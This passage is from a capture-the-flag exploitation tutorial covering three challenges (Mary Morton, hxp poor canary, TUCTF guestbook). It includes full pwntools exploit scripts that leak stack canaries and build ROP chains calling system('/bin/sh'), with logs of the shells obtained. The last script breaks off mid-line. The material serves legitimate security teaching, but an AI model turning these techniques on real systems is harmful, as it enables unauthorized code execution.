%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.
7fffffffdda0.7f.7ffff7af4081.0.0.6c6c252e786c6c25.252e786c6c252e78.786c6c252e786c6c.6c252e786c6c252e.2e786c6c252e786c.6c6c252e786c6c25.252e786c6c252e78.786c6c252e786c6c.6c252e786c6c252e.2e786c6c252e786c.6c6c252e786c6c25.252e786c6c252e78.786c6c252e786c6c.6c252e786c6c252e.2e786c6c252e786c.6c252e786c6c25.0.217c6cddb9f90f00.7fffffffde70.4008b8.[ Legend: Modified register | Code | Heap | Stack | String ]

So a stack canary for 64 bit systems is an 8 byte hex string that ends in a null byte. Looking through the output, we can see such a hex string at offset 23 with 217c6cddb9f90f00. We can confirm that this is the stack canary once we reach the breakpoint by examining the value of rbp-0x8, since from the source code we can see that is where the canary is:

Breakpoint 1, 0x000000000040094a in ?? ()
gef➤  lx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.
Undefined command: "lx".  Try "help".
gef➤  x/4g $rbp-0x8
0x7fffffffde28: 0x217c6cddb9f90f00  0x7fffffffde70
0x7fffffffde38: 0x4008b8  0x7ffff7de59a0
gef➤  i f
Stack level 0, frame at 0x7fffffffde40:
 rip = 0x40094a; saved rip = 0x4008b8
 called by frame at 0x7fffffffde80
 Arglist at 0x7fffffffdd98, args: 
 Locals at 0x7fffffffdd98, Previous frame's sp is 0x7fffffffde40
 Saved registers:
  rbp at 0x7fffffffde30, rip at 0x7fffffffde38

So we can see that it is indeed the stack canary, which is at offset 23. We can also see that the offset between the stack canary and the rip register is 16, so after the canary we will need to have an 8 byte offset before we hit the return address.

The next thing we will need to deal with is the Non-Executable stack. Since it is Non-Executable, we can't simply push shellcode onto the stack and execute it, so we will need to use ROP in order to execute code. Looking at the imports in Ghidra (Imports>EXTERNAL), we can see that system is in there. So we should be able to call system using it's plt address. First we need to find it, which can be accomplished by using objdump:

objdump -D mary_morton | grep system
00000000004006a0 <system@plt>:
  4008e3:    e8 b8 fd ff ff           callq  4006a0 <system@plt>

So the address of system is 0x4006a0. The next thing that we will need is a ROP gadget which will pop an argument into a register for system, then return to call it. We can accomplish this by using ROPgadget:

$    ROPgadget --binary mary_morton | less

Looking through the list of ROPgadgets, we can see one that will accomplish the job:

0x0000000000400ab3 : pop rdi ; ret

So we have a ROPgadget, and the address of system which we can call. The only thing left to get is the argument for the system function. Originally when I was trying to solve it, I tried to get a pointer to "/bin/sh" and use that as an argument, until I found a much easier way specific to this challenge using gdb:

First set a breakpoint for anywhere in the program, then hit it

gef➤  b *0x400826
Breakpoint 1 at 0x400826
gef➤  r
Starting program: /Hackery/pod/modules/ret_2_system/asis17_marymorton/mary_morton 

then once you reach the breakpoint:

Breakpoint 1, 0x0000000000400826 in ?? ()
gef➤  find /bin/sh
Invalid size granularity.
gef➤  search-pattern /bin/sh
[+] Searching '/bin/sh' in memory
[+] In '/Hackery/pod/modules/ret_2_system/asis17_marymorton/mary_morton'(0x400000-0x401000), permission=r-x
  0x400b2b - 0x400b32  →   "/bin/sh" 
[+] In '/Hackery/pod/modules/ret_2_system/asis17_marymorton/mary_morton'(0x600000-0x601000), permission=r--
  0x600b2b - 0x600b32  →   "/bin/sh" 
[+] In '/lib/x86_64-linux-gnu/libc-2.27.so'(0x7ffff79e4000-0x7ffff7bcb000), permission=r-x
  0x7ffff7b97e9a - 0x7ffff7b97ea1  →   "/bin/sh" 
=

We can see here that the binary has the string "/bin/sh" is hardcoded at 0x400b2b. This is the part of the binary that I modified. Originally it held the string "/bin/cat ./flag" which would print out the contents of the flag, so we would solve the challenge. However I decided to chaneg the string to give us a shell instead of just simply printing the flag. We should be able to use that as the argument for system.

Exploit

With all of those things, we can write the python exploit:

#First import pwntools
from pwn import *

#Establish the target process
target = process('./mary_morton_patched')
gdb.attach(target, gdbscript='b *0x4009a5')

raw_input()

#Establish the address for the ROP chain
gadget0 = 0x400ab3
cat_adr = 0x400b2b
sys_adr = 0x4006a0

#Recieve and print out the opening text
print target.recvuntil("Exit the battle")

#Execute the format string exploit to leak the stack canary
target.sendline("2")
target.sendline("%23$llx")
target.recvline()
canary = target.recvline()
canary = int(canary, 16)
print "canary: " + hex(canary)
print target.recvuntil("Exit the battle")

#Put the Rop chain together, and send it to the server to exploit it
target.sendline("1")
payload = "0"*136 + p64(canary) + "1"*8 + p64(gadget0) + p64(cat_adr) + p64(sys_adr)
target.send(payload)

#Drop to an interactive shell
target.interactive()

When we run the exploit:

[+] Starting local process './mary_morton_patched': pid 1719
[*] running in new terminal: /usr/bin/gdb -q  "./mary_morton_patched" 1719 -x "/tmp/pwnhoGB4g.gdb"
[+] Waiting for debugger: Done

Welcome to the battle !
[Great Fairy] level pwned
Select your weapon
1. Stack Bufferoverflow Bug
2. Format String Bug
3. Exit the battle
canary: 0x3d2b93f37b9ad900
1. Stack Bufferoverflow Bug
2. Format String Bug
3. Exit the battle
[*] Switching to interactive mode

-> 0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
$ w
 18:29:13 up  2:48,  1 user,  load average: 0.10, 0.06, 0.02
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
vagrant  pts/0    10.0.2.2         18:25    0.00s  0.29s  0.00s tmux
[*]

Just like that, we popped a shell!

Hxp 2018 poor canary

Let's take a look at the binary:

$    file canary
canary: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=3599326b9bf146191588a1e13fb3db905951de07, not stripped
$    pwn checksec canary
[*] '/Hackery/pod/modules/ret_2_system/hxp18_poorCanary/canary'
    Arch:     arm-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x10000)

So we can see that we are dealing with a 32 bit arm binary, that has a Stack Canary and NX stack. Arm is a different architecture from what we have been working with mostly, so things will be a bit different. Since we are dealing with arm binary, we will need qemu to run it (or some other emulator). In addition to that, if we want to use gdb we will need to install multi-architecture support for gdb. Lastly we will also need to install a utility for parsing through it's assembly code (we will use it later):

To emulate the binary:

$    sudo apt-get install qemu-user

For gdb support:

$    sudo apt-get install gdb-multiarch

For assembly code viewing:

$    sudo apt-get install binutils-arm-none-eabi

Now let's take a look at the binary:

$    qemu-arm canary
Welcome to hxp's Echo Service!
> 15935728
15935728
> 77777777777777777777777777777777777777777777777777777
77777777777777777777777777777777777777777777777777777

So we can see that it scan in data, and prints it back. Let's figure out exactly what it is doing.

Reversing

When we take a look at the main function in Ghidra, we see this:

undefined4 main(void)

{
  ssize_t bytesRead;
  char input [41];
  int stackCanary;
  int canary;
 
  canary = __stack_chk_guard;
  setbuf((FILE *)stdout,(char *)0x0);
  setbuf((FILE *)stdin,(char *)0x0);
  puts("Welcome to hxp\'s Echo Service!");
  while( true ) {
    printf("> ");
    bytesRead = read(0,input + 1,0x60);
    if ((bytesRead < 1) || ((input[bytesRead] == '\n' && (input[bytesRead] = '\0', bytesRead == 1)))
       ) break;
    puts(input + 1);
  }
  if (canary == __stack_chk_guard) {
    return 0;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}

So we can see here that it starts off by printing the string "Welcome to hxp\'s Echo Service!". Proceeding that it enters into a while (true) loop. Each iteration of the loop scans in 0x60 bytes worth of data into input + 1, which can only hold 40 bytes. So we have a buffer overflow. In addition to that it will print our input using puts(input + 1).

Exploitation

So to pop a shell, we will use the buffer overflow to overwrite the return address. However before we do that, we will need to deal with the stack canary.

Canary

We will leak the stack canary using the puts(input + 1) call. This is how it will work. The function puts will print data from a pointer that it is passed until it reaches a null byte. We will write just enough data to overwrite the least significant byte of the stack canary. This is because the least significant byte of the stack canary will be a null byte. Then when it prints our input, it will also print the rest of the stack canary (which will just be 3 bytes since we are dealing with a 32 bit binary) since there will be no null bytes in between the start of our input and the rest of the stack canary. Then we can just take those three bytes and add a null byte as the least significant byte, and we will have the stack canary.

Ret2System

So with that we will be able to overwrite the return address and get code execution. The only question is what will we execute with it. We can see that system is imported into the binary at 0x16d90, so that is a good candidate:

                             **************************************************************
                             *                          FUNCTION                          *
                             **************************************************************
                             int __stdcall system(char * __command)
             int               r0:4           <RETURN>
             char *            r0:4           __command
                             __libc_system                                   XREF[1]:     Entry Point(*)  
                             system
        00016d90 00 00 50 e3     cmp        __command,#0x0

We can also see it using objdump:

$    arm-none-eabi-objdump -D canary | grep libc_system
00016d90 <__libc_system>:
   16d94:    0a000000     beq    16d9c <__libc_system+0xc>

Next we just need to prep the argument for the system function. In Ghidra we can see that the string /bin/sh is at 0x71eb0:

                             s_/bin/sh_00071eb0                              XREF[1]:     do_system:00016d58(*)  
        00071eb0 2f 62 69        ds         "/bin/sh"
                 6e 2f 73
                 68 00

The next thing that we will need is a ROP gadget that will pop values into the r0 and pc registers. The code will expect it's argument in r0, and it will expect pc to hold the address to be executed:

$    python ROPgadget.py --binary canary | grep pop | grep r0 | grep pc

Looking through the list, we find this one which works (although we will need 4 bytes of filler data for r4):

0x00026b7c : pop {r0, r4, pc}

There is just one last thing that we will need before we can write the exploit. We know that the offset between the start of our input and the stack canary is 40 bytes, but what is the offset between the stack canary and the return address? Looking at the stack layout of the main function, we see that the canary is stored at offset -0x14:

                             **************************************************************
                             *                          FUNCTION                          *
                             **************************************************************
                             undefined main()
             undefined         r0:1           <RETURN>                                XREF[1]:     00010530(W)  
             ssize_t           r0:4           bytesRead                               XREF[1]:     00010530(W)  
             int               Stack[-0x14]:4 stackCanary                             XREF[2]:     000104cc(W),
                                                                                                   00010578(R)  
             char[41]          Stack[-0x3d]   input
             int               HASH:3fd2270   canary
                             main                                            XREF[3]:     Entry Point(*),
                                                                                          _start:0001039c(*), 000103b0(*)  
        000104b8 30 40 2d e9     stmdb      sp!,{ r4 r5 lr }

Since the canary is 4 bytes, that means that the end of the canary will put us at 0x10. In 32 bit arm, the return address is stored at the base of the stack (we can just do a quick google search to find this out). Since addresses in this architecture are just 4 bytes, that means that return address ranges from offsets 0-4. So the offset between the stack canary and the return address is just 0x10 - 0x4 = 0xc bytes.

So our exploit will contain the following:

*    40 bytes of filler data
*    4 bytes stack canary
*    12 bytes of filler data to return address
*    4 byte rop gadget pop {r0, r4, pc}
*    4 byte "/bin/sh" argument
*    4 byte filler
*    4 byte address of system

Exploit

Putting it all together we have the following exploit:

# This exploit is based off of: https://ctftime.org/writeup/12568

from pwn import *

target = process(['qemu-arm', 'canary'])

system = p32(0x16d90)
binsh = p32(0x71eb0)

# pop {r0, r4, pc}
gadget = p32(0x26b7c)

def clearInput():
    print target.recvuntil('>')

def leakCanary():
    target.send("0"*41)
    print target.recvuntil('0'*41)
    leak = target.recv(3)
    canary = u32("\x00" + leak)
    print "Stack canary: " + hex(canary)
    return canary
clearInput()

canary = leakCanary()

payload = ""
payload += "0"*40
payload += p32(canary)
payload += "1"*12
payload += gadget
payload += binsh
payload += "2"*4
payload += system

target.sendline(payload)
target.sendline("")

target.interactive()

When we run it:

$    python exploit.py
[+] Starting local process '/usr/bin/qemu-arm': pid 20280
Welcome to hxp's Echo Service!
>
 00000000000000000000000000000000000000000
Stack canary: 0x2c7cd100
[*] Switching to interactive mode

> 0000000000000000000000000000000000000000
> $ w
 16:35:30 up  4:17,  1 user,  load average: 1.09, 1.18, 1.13
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
guyinatu :0       :0               12:19   ?xdm?  26:12   0.01s /usr/lib/gdm3/gdm-x-session --run-script env GNOME_SHELL_SESSION_MODE=ubuntu gnome-session --session=ubuntu
$ ls
canary    exploit.py  readme.md  ROPgadget.py

Just like that, we popped a shell!

guestbook

Noopnoop helped with the creation of this writeup.

Let's take a look at the binary:

$    file guestbook
guestbook: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=bc73592d4897267cd1097b0541dc571d051a7ca0, not stripped
$    pwn checksec guestbook
[*] '/Hackery/tuctf/guestbook/guestbook'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

So we can see that it is 32 bit elf, with a non executable stack and PIE enabled. Let's try running the binary:

$    ./guestbook
Please setup your guest book:
Name for guest: #0
>>>00000
Name for guest: #1
>>>11111
Name for guest: #2
>>>22222
Name for guest: #3
>>>33333
---------------------------
1: View name
2: Change name
3. Quit
>>2
Which entry do you want to change?
>>>1
Enter the name of the new guest.
>>>15935

---------------------------
1: View name
2: Change name
3. Quit
>>1
Which entry do you want to view?
>>>1
15935
---------------------------
1: View name
2: Change name
3. Quit
>>1
Which entry do you want to view?
>>>6
@RW(DRW@DRWXDRW�I[
`T�
    ���XDRW
---------------------------
1: View name
2: Change name
3. Quit
>>3

So it prompts us for four names, then provides us the ability to change or view the names. It appears that when we view the name of something past the four names we have, we get an infoleak. Let's take a look at the code in Ghidra:

Reversing

Looking at the main function in Ghidra, we see this:


/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection: get_pc_thunk_bx */

undefined4 main(void)

{
  char *ptr;
  int iVar1;
  char changeNameInput [100];
  int changeIndex;
  int menuChoice;
  char *ptrArray [4];
  undefined *systemVar;
  int i;
  bool continue;
 
  setvbuf(stdout,(char *)0x0,2,0x14);
  puts("Please setup your guest book:");
  i = 0;
  while (i < 4) {
    printf("Name for guest: #%d\n>>>",i);
    ptr = (char *)malloc(0xf);
    __isoc99_scanf(&DAT_00010ac3,ptr);
    ptr[0xe] = 0;
    ptrArray[i] = ptr;
    i = i + 1;
  }
  continue = true;
LAB_000109b3:
  do {
    if (!continue) {
      return 0;
    }
    do {
      iVar1 = getchar();
      if ((char)iVar1 == '\n') break;
    } while ((char)iVar1 != -1);
    puts("---------------------------");
    puts("1: View name");
    puts("2: Change name");
    puts("3. Quit");
    printf(">>");
    menuChoice = 0;
    __isoc99_scanf(&DAT_00010a75,&menuChoice);
    if (menuChoice != 2) {
      if (menuChoice == 3) {
        continue = false;
      }
      else {
        if (menuChoice == 1) {
          readName((int)ptrArray);
        }
        else {
          puts("Not a valid option. Try again");
        }
      }
      goto LAB_000109b3;
    }
    printf("Which entry do you want to change?\n>>>");
    changeIndex = -1;
    __isoc99_scanf(&DAT_00010a75,&changeIndex);
    if (changeIndex < 0) {
      puts("Enter a valid number");
    }
    else {
      printf("Enter the name of the new guest.\n>>>");
      do {
        iVar1 = getchar();
        if ((char)iVar1 == '\n') break;
      } while ((char)iVar1 != -1);
      gets(changeNameInput);
      strcpy(ptrArray[changeIndex],changeNameInput);
    }
  } while( true );
}

Starting off, we can see it allocates four 0xf byte chunks in the heap, and prompts us to scan in data (the four guest names). It also saves the pointers in the array ptrArray. Proceeding that, we are dropped into a menu where we can either change a name, view a name, or exit. If we choose to view a name, the readName function is executed:

/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection: get_pc_thunk_bx */

void readName(int ptrArray)

{
  int index;
 
  printf("Which entry do you want to view?\n>>>");
  index = -1;
  __isoc99_scanf(&DAT_00010a75,&index);
  if (index < 0) {
    puts("Enter a valid number");
  }
  else {
    puts(*(char **)(ptrArray + index * 4));
  }
  return;
}

So we can see that it prompts us for an index to the array of pointers that it is passed, and it passes that pointer to puts. The only check is to make sure that the index it gets is greater than 0, however there is no check to ensure that we don't print a pointer past the end of the array. This is an index check bug.

Looking at the code for editing a guest's name, we see it has the same index bug:

  __isoc99_scanf(&DAT_00010a75,&changeIndex);
    if (changeIndex < 0) {
      puts("Enter a valid number");
    }

In addition to that, we can see that there is another bug:

      gets(changeNameInput);
      strcpy(ptrArray[changeIndex],changeNameInput);

We can see that there is a call to gets, so we have a buffer overflow vulnerability. However before that happens, there is a strcpy call that uses a pointer which will be overwritten in the overflow (when we look at the stack, we see that it is between the start of our input and the return address). We will need an infoleak to leak a pointer which we can use in the overflow.

In addition to that, because PIE is enabled, the address of system (which is imported into the program) should change every time. We will need to get the address of system in order to execute a return to system attack. Also another thing to take note of, it saves the address of system in a stack variable (although for some reason, it isn't showing in the disassembly):

        00010857 89 45 ec        MOV        dword ptr [EBP + local_18],ptr
        0001085a 8b 83 e8        MOV        ptr,dword ptr [0xffffffe8 + EBX]=>->system       = 00013020
                 ff ff ff
        00010860 89 45 e8        MOV        dword ptr [EBP + systemVar],ptr=>system          = ??

Exploitation

Our exploit will have two parts. The first is we will use the readName function to get an infoleak to both the heap and the libc. The second part will be using the gets call to overwrite the return address and get code execution:

Infoleak

Let's take a look at the layout of the memory in gdb:

gef➤  r
Starting program: /Hackery/pod/modules/ret_2_system/tu_guestbook/guestbook
Please setup your guest book:
Name for guest: #0
>>>15935728
Name for guest: #1
>>>75395128
Name for guest: #2
>>>95135728
Name for guest: #3
>>>35715928
---------------------------
1: View name
2: Change name
3. Quit
>>^C
Program received signal SIGINT, Interrupt.
0xf7fd3939 in __kernel_vsyscall ()
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────── registers ────
$eax   : 0xfffffe00
$ebx   : 0x0       
$ecx   : 0x56558180  →  "35715928"
$edx   : 0x400     
$esp   : 0xffffc998  →  0xffffca10  →  0xffffd070  →  0xffffd138  →  0x00000000
$ebp   : 0xffffca10  →  0xffffd070  →  0xffffd138  →  0x00000000
$esi   : 0xf7fb45c0  →  0xfbad2288
$edi   : 0x0       
$eip   : 0xf7fd3939  →  <__kernel_vsyscall+9> pop ebp
$eflags: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
───────────────────────────────────────────────────────────────────── stack ────
0xffffc998│+0x0000: 0xffffca10  →  0xffffd070  →  0xffffd138  →  0x00000000  ← $esp
0xffffc99c│+0x0004: 0x00000400
0xffffc9a0│+0x0008: 0x56558180  →  "35715928"
0xffffc9a4│+0x000c: 0xf7ec5807  →  0xfff0003d ("="?)
0xffffc9a8│+0x0010: 0x00000001
0xffffc9ac│+0x0014: 0x00000001
0xffffc9b0│+0x0018: 0xf7e515f9  →  <_IO_doallocbuf+9> add ebx, 0x162a07
0xffffc9b4│+0x001c: 0xf7fb45c0  →  0xfbad2288
─────────────────────────────────────────────────────────────── code:x86:32 ────
   0xf7fd3933 <__kernel_vsyscall+3> mov    ebp, esp
   0xf7fd3935 <__kernel_vsyscall+5> sysenter
   0xf7fd3937 <__kernel_vsyscall+7> int    0x80
 → 0xf7fd3939 <__kernel_vsyscall+9> pop    ebp
   0xf7fd393a <__kernel_vsyscall+10> pop    edx
   0xf7fd393b <__kernel_vsyscall+11> pop    ecx
   0xf7fd393c <__kernel_vsyscall+12> ret    
   0xf7fd393d                  nop    
   0xf7fd393e                  nop    
─────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "guestbook", stopped, reason: SIGINT
───────────────────────────────────────────────────────────────────── trace ────
[#0] 0xf7fd3939 → __kernel_vsyscall()
[#1] 0xf7ec5807 → read()
[#2] 0xf7e505a0 → _IO_file_underflow()
[#3] 0xf7e516fc → _IO_default_uflow()
[#4] 0xf7e2ba64 → add esp, 0x10
[#5] 0xf7e2a6c5 → __isoc99_scanf()
[#6] 0x565558e3 → main()
────────────────────────────────────────────────────────────────────────────────
gef➤  search-pattern 15935728
[+] Searching '15935728' in memory
[+] In '[heap]'(0x56558000-0x5657a000), permission=rw-
  0x56558160 - 0x56558168  →   "15935728"
gef➤  search-pattern 0x56558160
[+] Searching '\x60\x81\x55\x56' in memory
[+] In '[stack]'(0xfffdd000-0xffffe000), permission=rw-
  0xffffd10c - 0xffffd11c  →   "\x60\x81\x55\x56[...]"
gef➤  x/20w 0xffffd10c
0xffffd10c: 0x56558160  0x56558590  0x565585b0  0x565585d0
0xffffd11c: 0xa5559f1 0xf7e1ac00  0xffffd10c  0x565585d0
0xffffd12c: 0x1000000 0x4 0x0 0x0
0xffffd13c: 0xf7df6751  0x1 0xffffd1d4  0xffffd1dc
0xffffd14c: 0xffffd164  0x1 0x0 0xf7fb4000
gef➤  x/s 0x56558590
0x56558590: "75395128"
gef➤  x/s 0x565585b0
0x565585b0: "95135728"
gef➤  x/s 0x565585d0
0x565585d0: "35715928"
gef➤  x/i 0xf7e1ac00
   0xf7e1ac00 <system>: call   0xf7f1568d
gef➤  x/w 0xffffd10c
0xffffd10c: 0x56558160

So we can see our array of heap pointers. After it, we see an interesting pointer at 0xffffd124 that points to the beginning of our array of heap pointers. We can reach this using the index check bug in readName (index 6), so we can leak a heap pointer with this. What is interesting is if we do that, we will also get a libc infoleak bug.

The function puts will only stop printing until it reaches a null byte. Looking at the memory, we can see that there are no null bytes in between the start if the array of heap pointers, and the address of system. Thus if we print the address xffffd10c with puts in this scenario, we will also get the address of system due to the lack of null bytes. With that we get both a heap infoleak, and a libc infoleak to system.

Buffer Overflow

So for the buffer overflow, we will use gets to overwrite the return address. However we will need to overwrite a pointer that is written to with strcpy. Let's take a look at the stack layout:

  char *ptr;
  int iVar1;
  char changeNameInput [100];
  int changeIndex;
  int menuChoice;
  char *ptrArray [4];
  undefined *systemVar;
  int i;
  bool continue;

So we can see that the offset between the start of our input (located in changeNameInput) and the start of the array of pointers (located in ptrArray) is 0x6c (100 + 4 + 4 = 0x6c). So if we go to edit the first pointer in the array while using the gets bug, then we will just have to place a heap pointer to memory that when written to won't cause a crash at offset 0x6c.

Proceeding that, we need to find the offset from the start of our input in gets to the return address.

Set a breakpoint for the strcpy call:

gef➤  pie b *0x994
gef➤  pie run
Stopped due to shared library event (no libraries added or removed)
Please setup your guest book:
Name for guest: #0
>>>15935728
Name for guest: #1
>>>75395128
Name for guest: #2
>>>35715928
Name for guest: #3
>>>95135728
---------------------------
1: View name
2: Change name
3. Quit
>>2
Which entry do you want to change?
>>>0
Enter the name of the new guest.
>>>0000000000

Breakpoint 1, 0x56555994 in main ()
[+] base address 0x56555000
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────── registers ────
$eax   : 0x56558160  →  "15935728"
$ebx   : 0x56557000  →  0x00001ef0
$ecx   : 0xf7fb45c0  →  0xfbad2288
$edx   : 0xffffd0a0  →  "0000000000"
$esp   : 0xffffd098  →  0x56558160  →  "15935728"
$ebp   : 0xffffd138  →  0x00000000
$esi   : 0xf7fb4000  →  0x001dbd6c
$edi   : 0xf7fb4000  →  0x001dbd6c
$eip   : 0x56555994  →  <main+466> call 0x56555570 <strcpy@plt>
$eflags: [zero carry PARITY ADJUST SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
───────────────────────────────────────────────────────────────────── stack ────
0xffffd098│+0x0000: 0x56558160  →  "15935728"  ← $esp
0xffffd09c│+0x0004: 0xffffd0a0  →  "0000000000"
0xffffd0a0│+0x0008: "0000000000"
0xffffd0a4│+0x000c: "000000"
0xffffd0a8│+0x0010: 0xf7003030 ("00"?)
0xffffd0ac│+0x0014: 0x000000c2
0xffffd0b0│+0x0018: 0x00000000
0xffffd0b4│+0x001c: 0x00c10000
─────────────────────────────────────────────────────────────── code:x86:32 ────
   0x5655598c <main+458>       lea    edx, [ebp-0x98]
   0x56555992 <main+464>       push   edx
   0x56555993 <main+465>       push   eax
 → 0x56555994 <main+466>       call   0x56555570 <strcpy@plt>
   ↳  0x56555570 <strcpy@plt+0>   jmp    DWORD PTR [ebx+0x18]
      0x56555576 <strcpy@plt+6>   push   0x18
      0x5655557b <strcpy@plt+11>  jmp    0x56555530
      0x56555580 <malloc@plt+0>   jmp    DWORD PTR [ebx+0x1c]
      0x56555586 <malloc@plt+6>   push   0x20
      0x5655558b <malloc@plt+11>  jmp    0x56555530
─────────────────────────────────────────────────────── arguments (guessed) ────
strcpy@plt (
   [sp + 0x0] = 0x56558160 → "15935728",
   [sp + 0x4] = 0xffffd0a0 → "0000000000"
)
─────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "guestbook", stopped, reason: BREAKPOINT
───────────────────────────────────────────────────────────────────── trace ────
[#0] 0x56555994 → main()
────────────────────────────────────────────────────────────────────────────────
gef➤  search-pattern 0000000000
[+] Searching '0000000000' in memory
[+] In '[heap]'(0x56558000-0x5657a000), permission=rw-
  0x56558180 - 0x5655818a  →   "0000000000"
[+] In '/usr/lib/i386-linux-gnu/libc-2.29.so'(0xf7f45000-0xf7fb1000), permission=r--
  0xf7f57c04 - 0xf7f57c14  →   "0000000000000000"
[+] In '[stack]'(0xfffdd000-0xffffe000), permission=rw-
  0xffffd0a0 - 0xffffd0aa  →   "0000000000"
gef➤  i f
Stack level 0, frame at 0xffffd140:
 eip = 0x56555994 in main; saved eip = 0xf7df6751
 Arglist at 0xffffd138, args:
 Locals at 0xffffd138, Previous frame's sp is 0xffffd140
 Saved registers:
  ebx at 0xffffd134, ebp at 0xffffd138, eip at 0xffffd13c

and we cans ee that the offset is 0x9c:

>>> hex(0xffffd13c - 0xffffd0a0)
'0x9c'

So there we can place the address of system. Four bytes after that, we will just place a ptr to the libc address for the string /bin/sh (since that is where it will expect it's input).

Exploit

Putting it all together, we get the following exploit:

# noopnoop helped with this exploit

# Import pwntools
from pwn import *

#context.terminal = ['tmux', 'splitw', '-h']

# Establish the target process, and hand it over to gdb
target = process('./guestbook', env={"LD_PRELOAD":"./libc.so.6"})
gdb.attach(target)

# Establish the function which will create the first four names
def start():
    print target.recvuntil(">>>")
    target.sendline("15935")
    print target.recvuntil(">>>")
    target.sendline("75395")
    print target.recvuntil(">>>")
    target.sendline("01593")
    print target.recvuntil(">>>")
    target.sendline("25319")


# Create the function which will calculate the address of /bin/sh from the address of system, since they are both in libc
def calc_binsh(system_adr):
    binsh = system_adr + 0x120c6b
    log.info("The address of binsh is: " + hex(binsh))
    return binsh

# Create the function which will create the payload and send it
def attack(system, binsh, heap):
    target.sendline("2")
    print target.recvuntil(">>>")
    target.sendline("0")
    print target.recvuntil(">>>")
    payload = "0"*0x4 + "\x00" + "1"*